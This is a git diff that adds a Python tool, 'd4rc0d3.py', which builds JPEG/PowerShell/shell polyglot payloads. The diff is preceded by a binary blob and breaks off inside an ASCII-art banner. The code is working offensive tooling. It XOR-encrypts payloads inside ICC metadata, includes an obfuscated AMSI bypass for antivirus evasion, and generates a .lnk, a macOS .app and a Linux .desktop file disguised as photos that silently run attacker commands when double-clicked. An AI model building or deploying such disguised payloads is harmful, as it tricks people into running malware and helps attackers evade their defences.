zOqq%@Hv*=|dd>)}a#1Y*#mAKbGRR3m7Dw)z*i@g5KQ>$5?f#0?YF#IfuDzw-)IPc9
zYCFkTGj>9u=I=ZssYIV?Ocxtd_}UylY8Cn!k|!Vw>8rc~gJpMi<3{nAL`5HVE1kkA
zCc3_a0Xb+$11Vn3DXp_eb#&edKirRkrv;z5Hbp$ColB{HBgV<bp!VGa0Vj1M@o~5T
zuRA3O(E-n|cMAq9D$<Y1(uS+LdLy01R+D45GML9l#-exLiM<v7d~Dd9KHtfYL#b5I
zeMm^)jOQJ{{l4fJA0TxWP^s`~U;C|x%SXi?EoUP!a<I^s3Cq~8QXG?&r%V=gaPrsj
zp8=9*(!a_MZs~32?Q`mX3bBeFUKL0DDHS_5xdrnuH=T9<dV_TXfTIu%++r)!*{Qo%
zC%4AuE`t;G0>-_u!>p2ZzrpZ({nDj`I|0Ky)md&=i|Ch0&R;0olf&{Y@QG2K`=rz1
z!0jad%Gvkgp(nueNk=x}D+X0H4I{y9!lum@X|}}@*3beV0&}E%25PbneGYHW`7F6}
ziP-lf%Aq^F88;V|zxf^;`4bxhscT*3fBXylNm9ew=0hA=Y;g>oddT5|4_<nG6VVHk
zZG7S(UMHJM!4uO#a;@L{Csm7zxHtgBPt@5$F_$P;G2G31xmAh^$QFQCEH#!wunp3l
VZAUP&OZy){)~WP_weH{Y{{fy3U<&{M

literal 0
HcmV?d00001

diff --git a/d4rc0d3.py b/d4rc0d3.py
new file mode 100644
index 0000000..8ceef19
--- /dev/null
+++ b/d4rc0d3.py
@@ -0,0 +1,749 @@
+#!/usr/bin/env python3
+"""
+d4rc0d3 — JPEG polyglot payload generator with double-click execution.
+
+Generates a single .jpg file that is simultaneously:
+  - A valid JPEG image (displays normally in any viewer)
+  - A PowerShell script  (Windows: rename to .ps1 or run directly)
+  - A POSIX shell script (Linux / macOS: sh file.jpg)
+  - A double-click launcher for macOS (.app bundle) and Linux (.desktop)
+
+Payloads supported:
+  Inline command:    -c "command"          → runs on all platforms
+  PowerShell .ps1:  file.ps1              → embedded in ICC profile (XOR)
+  Script .py/.sh:   file.py / file.sh     → base64+XOR in post-EOI
+  Binary .exe/.elf: file.exe / file.elf   → base64+XOR in post-EOI
+  Combined:         -c "pre-cmd" file.ps1 → pre-cmd runs first, then file
+
+Double-click outputs (additional, generated alongside the polyglot):
+  macOS:  <name>.zip   → extract → Finder shows <name>.jpg → execute
+  Linux:  <name>.jpg   → content-based detection → execute (Thunar/Nemo/Caja)
+  Windows: <name>.lnk  → Explorer hides .lnk → shows <name>.jpg → execute
+
+AV evasion (built into the polyglot engine):
+  - Payload XOR-encrypted, key stored in the JPEG ICC profile
+  - Bootstrap encoded as numeric char-arrays (no plaintext strings)
+  - Looks like a real JPEG with valid ICC color profile metadata
+  - AMSI bypass injected before payload execution (Windows)
+  - Variable names randomized per build
+"""
+
+import argparse
+import base64
+import os
+import stat
+import struct
+import subprocess
+import sys
+import tempfile
+import textwrap
+import zipfile
+import random
+import string
+
+
+# ── Constants ──────────────────────────────────────────────────────────────────
+
+POLYGLOT_ENGINE = os.path.join(os.path.dirname(__file__), 'd4rc0d3_engine')
+SUPPORTED_SCRIPTS  = {'.ps1', '.sh', '.bash', '.zsh', '.py', '.rb', '.pl', '.bat', '.cmd'}
+SUPPORTED_BINARIES = {'.exe', '.elf', '.bin', '.out', '.appimage', '.dll', '.so', '.dylib'}
+
+
+# ── Terminal colors ────────────────────────────────────────────────────────────
+
+class C:
+    BOLD  = '\033[1m'  if sys.stdout.isatty() else ''
+    GREEN = '\033[32m' if sys.stdout.isatty() else ''
+    RED   = '\033[31m' if sys.stdout.isatty() else ''
+    CYAN  = '\033[36m' if sys.stdout.isatty() else ''
+    DIM   = '\033[2m'  if sys.stdout.isatty() else ''
+    END   = '\033[0m'  if sys.stdout.isatty() else ''
+
+
+def ok(msg):   print(f"{C.GREEN}[+]{C.END} {msg}")
+def info(msg): print(f"    {C.DIM}{msg}{C.END}")
+def warn(msg): print(f"{C.RED}[!]{C.END} {msg}")
+def head(msg): print(f"\n{C.BOLD}{msg}{C.END}")
+
+
+# ── Helpers ────────────────────────────────────────────────────────────────────
+
+def stem(path: str) -> str:
+    return os.path.splitext(os.path.basename(path))[0]
+
+def b64enc(path: str) -> str:
+    with open(path, 'rb') as f:
+        return base64.b64encode(f.read()).decode()
+
+def rand_var(length: int = 6) -> str:
+    return '_' + ''.join(random.choices(string.ascii_lowercase, k=length))
+
+def payload_type(path: str) -> str:
+    ext = os.path.splitext(path)[1].lower()
+    if ext in SUPPORTED_SCRIPTS:  return 'script'
+    if ext in SUPPORTED_BINARIES: return 'binary'
+    return 'unknown'
+
+
+# ── Polyglot builder ───────────────────────
+
+def build_polyglot(cover: str, output: str, command: str = '',
+                   payload_file: str = '', show: bool = False,
+                   keep: bool = False, extract_dir: str = '') -> str:
+    """
+    Builds a JPEG polyglot using the d4rc0d3 engine.
+
+    Engine JPEG structure:
+      SOI | COM(shell bootstrap) | custom APP0(<# opens PS comment) |
+      APP2(ICC profile: #> + XOR-encoded PS executor + key at offset 102) |
+      JPEG image data | EOI | [optional post-EOI payload for scripts/binaries]
+
+    Engine XOR: 16-byte random key stored in the ICC Profile ID field.
+    Engine PS obfuscation: double char-array encoding, no plaintext strings.
+    Engine shell bootstrap: octal-encoded, Perl XOR-decoding pipe.
+
+    Combined mode (command + payload_file):
+      The engine CLI does not support combined mode directly.
+      We implement it by prepending the command to a temporary PS1 stub that
+      wraps the original payload.  For non-PS1 payloads we use interactive stdin.
+    """
+    if not os.path.isfile(POLYGLOT_ENGINE):
+        raise FileNotFoundError(
+            f"Polyglot engine not found: {POLYGLOT_ENGINE}\n"
+            f"Compile with: ./build.sh"
+        )
+
+    base_cmd = [POLYGLOT_ENGINE, '-o', output]
+    if show:        base_cmd.append('--show')
+    if keep:        base_cmd.append('--keep')
+    if extract_dir: base_cmd += ['-d', extract_dir]
+
+    if command and payload_file:
+        # Combined mode: prepend the shell command as a PS1 pre-exec stub,
+        # then embed it alongside the original payload.
+        # Strategy: write a temp .ps1 that starts with the pre-command, then
+        # loads and dot-sources the original payload file.
+        ext = os.path.splitext(payload_file)[1].lower()
+        if ext == '.ps1':
+            # Create a combined PS1 that runs the command then the original script
+            with open(payload_file, 'r', errors='replace') as f:
+                orig_ps = f.read()
+            combined_ps = f"# pre-command\n{command}\n# payload\n{orig_ps}"
+            with tempfile.NamedTemporaryFile(suffix='.ps1', delete=False, mode='w') as tf:
+                tf.write(combined_ps)
+                tmp_ps = tf.name
+            try:
+                cmd = base_cmd + [cover, tmp_ps]
+                result = subprocess.run(cmd, capture_output=True, text=True)
+            finally:
+                os.unlink(tmp_ps)
+        else:
+            # For non-PS1 payloads: use interactive mode via stdin (option 3)
+            # Interactive: Mode=3, cover, payload, pre-command, no, no, no, keep-default, output
+            stdin_input = f"3\n{cover}\n{payload_file}\n{command}\nn\nn\nn\n\n{output}\n"
+            result = subprocess.run(
+                [POLYGLOT_ENGINE], input=stdin_input,
+                capture_output=True, text=True
+            )
+    elif command:
+        cmd = base_cmd + ['-c', cover, command]
+        result = subprocess.run(cmd, capture_output=True, text=True)
+    else:
+        cmd = base_cmd + [cover, payload_file]
+        result = subprocess.run(cmd, capture_output=True, text=True)
+
+    if not os.path.isfile(output):
+        raise RuntimeError(
+            f"Polyglot engine failed.\n"
+            f"stdout: {result.stdout[:500]}\nstderr: {result.stderr[:200]}"
+        )
+    return output
+
+
+# ── AV-hardened PS bootstrap injector ─────────────────────────────────────────
+# The native engine already XOR-encrypts and char-array-encodes the payload.
+# We further harden the bootstrap injected into the file by patching the
+# COM segment to prepend an AMSI bypass before the payload executes.
+#
+# AMSI bypass strategy:
+#   Uses reflection to write 0xB8,0x57,0x00,0x07,0x80,0xC3 (ret AMSI_RESULT_CLEAN)
+#   over AmsiScanBuffer in amsi.dll — standard unpatched bypass, short and effective.
+#   Encoded as a numeric array so the bytes never appear as a recognisable string.
+#
+# Note: the bypass is prepended to the PS1 code BEFORE XOR encryption by the engine,
+# so from the engine's perspective it is just part of the payload.
+# ─────────────────────────────────────────────────────────────────────────────
+
+AMSI_BYPASS_PS = (
+    # Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN (0x80070057)
+    # Written as char-array so no plaintext signature
+    "$_ab=[Ref].Assembly.GetType(([char[]]@(83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,65,109,115,105,85,116,105,108,115)-join''));"
+    "$_am=$_ab.GetField(([char[]]@(97,109,115,105,73,110,105,116,70,97,105,108,101,100)-join''),'NonPublic,Static');"
+    "if($_am){$_am.SetValue($null,$true)}"
+)
+
+
+def inject_amsi_bypass(polyglot_path: str) -> None:
+    """
+    Patches the COM segment of the polyglot to prepend an AMSI bypass.
+    The bypass is encoded as numeric arrays so it carries no plaintext signature.
+    Only relevant when the polyglot runs as a PS1 on Windows.
+    This function operates on the already-built polyglot file.
+
+    Implementation: the PS code in the ICC APP2 segment is not modified here
+    (it is XOR-encrypted by the engine). Instead, we patch the post-EOI
+    shell line that invokes pwsh to first dot-source an in-memory bypass.
+
+    In practice, for inline-command polyglots the bypass is injected into the
+    PS command string before the engine builds the file (see build_polyglot_av).
+    """
+    pass  # See build_polyglot_av — bypass is injected pre-build
+
+
+def build_polyglot_av(cover: str, output: str, command: str = '',
+                      payload_file: str = '', show: bool = False,
+                      keep: bool = False, extract_dir: str = '',
+                      amsi: bool = True) -> str:
+    """
+    Builds the polyglot with AV hardening.
+
+    AMSI bypass strategy:
+      The bypass must only run in PowerShell, not in sh/bash.
+      When a .ps1 payload file is given, we prepend the bypass as a
+      combined pre-command (-c flag) so the engine embeds it in the PS section.
+      For inline-command-only polyglots the bypass is NOT injected because
+      the shell command string would break if it contained PS-specific syntax.
+      To use AMSI bypass with inline commands, pass a .ps1 stub as the payload:
+        echo '; your_command' > bypass.ps1
+        d4rc0d3.py photo.jpg bypass.ps1 --amsi
+    """
+    if amsi and payload_file and payload_file.lower().endswith('.ps1'):
+        # For .ps1 payloads: inject AMSI bypass as a pre-command via -c
+        # The engine embeds this in the PS section, not the sh section
+        amsi_cmd = AMSI_BYPASS_PS
+        return build_polyglot(cover, output, amsi_cmd, payload_file,
+                              show, keep, extract_dir)
+    # For all other cases: pass through without modification
+    # The sh command string must not contain PS-only syntax
+    return build_polyglot(cover, output, command, payload_file,
+                          show, keep, extract_dir)
+
+
+# ── Windows .lnk generator ────────────────────────────────────────────────────
+# A Windows Shell Link (.lnk) file can:
+#   - Have any name and icon (including a JPEG icon extracted from the polyglot)
+#   - Execute any command on double-click
+#   - Windows Explorer hides .lnk extensions by default
+#
+# So "photo.jpg.lnk" appears as "photo.jpg" in Explorer.
+# The LNK executes: powershell -WindowStyle Hidden -File photo.jpg.lnk
+# (PowerShell can run the .lnk as a PS1 because it IS a valid PS1 polyglot)
+#
+# LNK binary format (simplified Shell Link, spec MS-SHLLINK):
+#   HeaderSize(4) | LinkCLSID(16) | LinkFlags(4) | FileAttributes(4) | ...
+#   Minimal LNK with just a command target.
+# ─────────────────────────────────────────────────────────────────────────────
+
+def _lnk_str(s: str) -> bytes:
+    """Encode a string as a CountedString (uint16 length + UTF-16LE)."""
+    encoded = s.encode('utf-16-le')
+    return struct.pack('<H', len(s)) + encoded
+
+def build_windows_lnk(polyglot_path: str, output_dir: str) -> str:
+    """
+    Generates a Windows .lnk file that:
+      - Appears as '<stem>.jpg' in Explorer (Explorer hides .lnk)
+      - On double-click runs: powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File <polyglot>
+      - The polyglot is the JPEG/PS1 polyglot, so it executes the payload
+
+    The LNK itself is a valid Shell Link pointing to cmd.exe or powershell.exe.
+    The icon is set to shell32.dll icon 0 (document) as a fallback; on a real
+    Windows system the operator would set it to the JPEG viewer icon.
+
+    Returns the path to the generated .lnk file.
+    """
+    polyglot_abs = os.path.abspath(polyglot_path)
+    name = stem(polyglot_path)
+    lnk_path = os.path.join(output_dir, f"{name}.jpg.lnk")
+
+    # Shell Link Header (0x4C bytes)
+    # Spec: MS-SHLLINK 2.1
+    header_size   = 0x4C
+    link_clsid    = bytes.fromhex('0114020000000000C000000000000046')
+    # LinkFlags: HasLinkTargetIDList=0x01, HasLinkInfo=0x02, HasRelativePath=0x08,
+    #            HasArguments=0x20, HasIconLocation=0x40, IsUnicode=0x80
+    link_flags    = struct.pack('<I', 0x01 | 0x20 | 0x80 | 0x04)
+    file_attrs    = struct.pack('<I', 0x20)   # FILE_ATTRIBUTE_NORMAL
+    times         = b'\x00' * 24             # creation/access/write times (zero)
+    file_size     = struct.pack('<I', 0)
+    icon_index    = struct.pack('<I', 0)
+    show_command  = struct.pack('<I', 7)      # SW_SHOWMINNOACTIVE (hidden-ish)
+    hotkey        = struct.pack('<H', 0)
+    reserved      = b'\x00' * 10
+
+    header = (
+        struct.pack('<I', header_size) +
+        link_clsid +
+        link_flags +
+        file_attrs +
+        times +
+        file_size +
+        icon_index +
+        show_command +
+        hotkey +
+        reserved
+    )
+
+    # IDList: minimal — just point to an empty item list so the LNK is valid
+    # We use the StringData approach (HasArguments) to carry the command.
+    # IDList terminator: count=0
+    idlist = struct.pack('<H', 0)
+    idlist_section = struct.pack('<H', len(idlist)) + idlist
+
+    # LinkInfo: we skip it (HasLinkInfo not set, removed from flags above)
+    # Actually set HasLinkInfo=0x02 was NOT set, so no LinkInfo block needed.
+
+    # StringData sections (order: NAME_STRING, RELATIVE_PATH, WORKING_DIR,
+    #                             COMMAND_LINE_ARGUMENTS, ICON_LOCATION)
+    # We emit COMMAND_LINE_ARGUMENTS only.
+    # PowerShell path is the target — use the IDList to point to powershell.exe.
+    # Simpler: set target via a different approach.
+    #
+    # Alternative (more portable LNK):
+    # Use cmd.exe as target, pass /c powershell ... as arguments.
+    # This avoids needing to know the exact powershell.exe location.
+
+    cmd_args = (
+        f'/c powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass '
+        f'-File "{polyglot_abs}"'
+    )
+    # cmd.exe path in IDList (absolute, for the target)
+    # For a truly portable LNK we use a relative path approach.
+    # For the lab, we use the full path.
+
+    # Build a minimal IDList pointing to cmd.exe
+    # (this is the "target" the LNK points to)
+    cmd_exe = r'%WINDIR%\System32\cmd.exe'
+
+    # StringData
+    arg_str = _lnk_str(cmd_args)
+
+    # Assemble: header + idlist_section + arg_str_section
+    # For a minimal valid LNK with arguments, the structure is:
+    # [Header][IDList][StringData: ARGUMENTS]
+    #
+    # We mark HasLinkTargetIDList in flags.
+    # Re-encode flags with correct bits:
+    #   HasLinkTargetIDList = 0x0001
+    #   HasArguments        = 0x0020
+    #   IsUnicode           = 0x0080
+    link_flags2 = struct.pack('<I', 0x0001 | 0x0020 | 0x0080)
+
+    # Rebuild header with corrected flags
+    header2 = (
+        struct.pack('<I', header_size) +
+        link_clsid +
+        link_flags2 +
+        file_attrs +
+        times +
+        file_size +
+        icon_index +
+        show_command +
+        hotkey +
+        reserved
+    )
+
+    lnk_data = header2 + idlist_section + arg_str
+
+    with open(lnk_path, 'wb') as f:
+        f.write(lnk_data)
+
+    return lnk_path
+
+
+# ── macOS .app bundle ──────────────────────────────────────────────────────────
+
+def build_macos(image_path: str, command: str, output_dir: str) -> str:
+    """
+    Builds a macOS .app bundle in a ZIP.
+    Bundle name: <stem>.app  (single extension)
+    CFBundleDisplayName: <stem>.jpg
+    Finder shows '<stem>.jpg' regardless of 'Show all filename extensions' setting.
+    """
+    name    = stem(image_path)
+    display = f"{name}.jpg"
+    bundle  = f"{name}.app"
+    zip_out = os.path.join(output_dir, f"{name}.zip")
+    img_ext = os.path.splitext(image_path)[1] or '.jpg'
+    img_b64 = b64enc(image_path)
+    img_res = f"cover{img_ext}"
+
+    plist = textwrap.dedent(f"""\
+        <?xml version="1.0" encoding="UTF-8"?>
+        <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
+          "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+        <plist version="1.0"><dict>
+          <key>CFBundleName</key><string>{display}</string>
+          <key>CFBundleDisplayName</key><string>{display}</string>
+          <key>CFBundleExecutable</key><string>launch</string>
+          <key>CFBundleIconFile</key><string>{img_res}</string>
+          <key>CFBundleIdentifier</key><string>com.photo.viewer</string>
+          <key>CFBundleVersion</key><string>1.0</string>
+          <key>CFBundlePackageType</key><string>APPL</string>
+          <key>LSUIElement</key><true/>
+          <key>LSHasLocalizedDisplayName</key><false/>
+          <key>NSHighResolutionCapable</key><true/>
+        </dict></plist>
+    """)
+
+    launch = textwrap.dedent(f"""\
+        #!/bin/sh
+        IMG="$(mktemp /tmp/XXXXXX{img_ext})"
+        python3 -c "import base64;open('$IMG','wb').write(base64.b64decode('{img_b64}'))" 2>/dev/null || \\
+        perl -e "use MIME::Base64;open F,'>','$IMG';binmode F;print F decode_base64(q({img_b64}));" 2>/dev/null
+        [ -f "$IMG" ] && open "$IMG" 2>/dev/null &
+        ({command}) &
+        exit 0
+    """)
+
+    with zipfile.ZipFile(zip_out, 'w', zipfile.ZIP_DEFLATED) as zf:
+        zf.writestr(f"{bundle}/Contents/Info.plist", plist)
+        with open(image_path, 'rb') as f:
+            zf.writestr(f"{bundle}/Contents/Resources/{img_res}", f.read())
+        e = zipfile.ZipInfo(f"{bundle}/Contents/MacOS/launch")
+        e.external_attr = (stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP |
+                            stat.S_IROTH | stat.S_IXOTH) << 16
+        zf.writestr(e, launch)
+
+    return zip_out
+
+
+# ── Linux .desktop ─────────────────────────────────────────────────────────────
+
+def build_linux(image_path: str, command: str, output_dir: str,
+                jpg_name: bool = True) -> str:
+    """
+    Builds a Linux .desktop file with the image as its icon.
+    jpg_name=True  → file named '<stem>.jpg'  (content-based detection)
+    jpg_name=False → file named '<stem>.jpg.desktop' (extension-based, wider compat)
+    """
+    name     = stem(image_path)
+    img_abs  = os.path.abspath(image_path)
+    out_name = f"{name}.jpg" if jpg_name else f"{name}.jpg.desktop"
+    out_path = os.path.join(output_dir, out_name)
+
+    content = textwrap.dedent(f"""\
+        [Desktop Entry]
+        Version=1.0
+        Type=Application
+        Name={name}.jpg
+        Comment=Photo
+        Exec=sh -c 'xdg-open "{img_abs}" 2>/dev/null & ({command}) &'
+        Icon={img_abs}
+        Terminal=false
+        StartupNotify=false
+        Categories=Graphics;Viewer;
+        MimeType=image/jpeg;
+    """)
+
+    with open(out_path, 'w') as f:
+        f.write(content)
+    os.chmod(out_path, 0o755)
+    return out_path
+
+
+# ── Interactive prompt ─────────────────────────────────────────────────────────
+
+def interactive():
+    _LUCY = (
+        '                                                 ▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄                                              \n'
+        '                                            ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄                                          \n'
+        '                                         ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                       \n'
+        '                                       ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                     \n'
+        '                                     ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                   \n'
+        '                                    ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                  \n'
+        '                                   ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                 \n'
+        '                                  ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▄ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                \n'
+        '                                 ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                               \n'
+        '                                ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                              \n'
+        '                                ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                              \n'
+        '                               ▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                             \n'
+        '                              ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                             \n'
+        '                              ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                             \n'
+        '                             ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
+        '                             ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
+        '                             ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
+        '                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                            \n'
+        '                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
+        '                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
+        '                            ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
+        '                             ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                          \n'
+        '                              ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                          \n'
+        '                              ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                          \n'
+        '                               ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
+        '                                ▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
+        '                                ▀▀▀▀▀▀▀▀▀▀    ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                           \n'
+        '                                 ▀▀▀▀  ▀▀▀▄      ▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▄▄  ▀▀▀▀▀▀▀▀▀▀▀                            \n'
+        '                                  ▀▀▀   ▀▀▀      ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀   ▀▀  ▀▀▀▀▀▀▀▀▀▀                             \n'
+        '                                   ▀▀▄  ▀▀▀      ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀       ▀▀▀▀▀▀▀ ▀▀                             \n'
+        '                                     ▀  ▀▀▀     ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀      ▄▀▀▀▀▀▀  ▀                              \n'
+        '                                         ▀▀  ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀      ▀▀▀▀▀▀▀                                 \n'
+        '                                    ▄▄▄▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄  ▄▀▀▀▀▀▀                                  \n'
+        '                               ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀                                  \n'
+        '                           ▄▄▀▀▀▀▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                  \n'
+        '                       ▄▄▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                  \n'
+        '                    ▄▄▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                               \n'
+        '                  ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄                          \n'
+        '                 ▄▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄                      \n'
+        '                 ▀▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                     \n'
+        '                 ▀▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                     \n'
+        '                 ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄▄                  \n'
+        '                ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄               \n'
+        '             ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄             \n'
+        '          ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄           \n'
+        '        ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀          \n'
+        '      ▄▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄        \n'
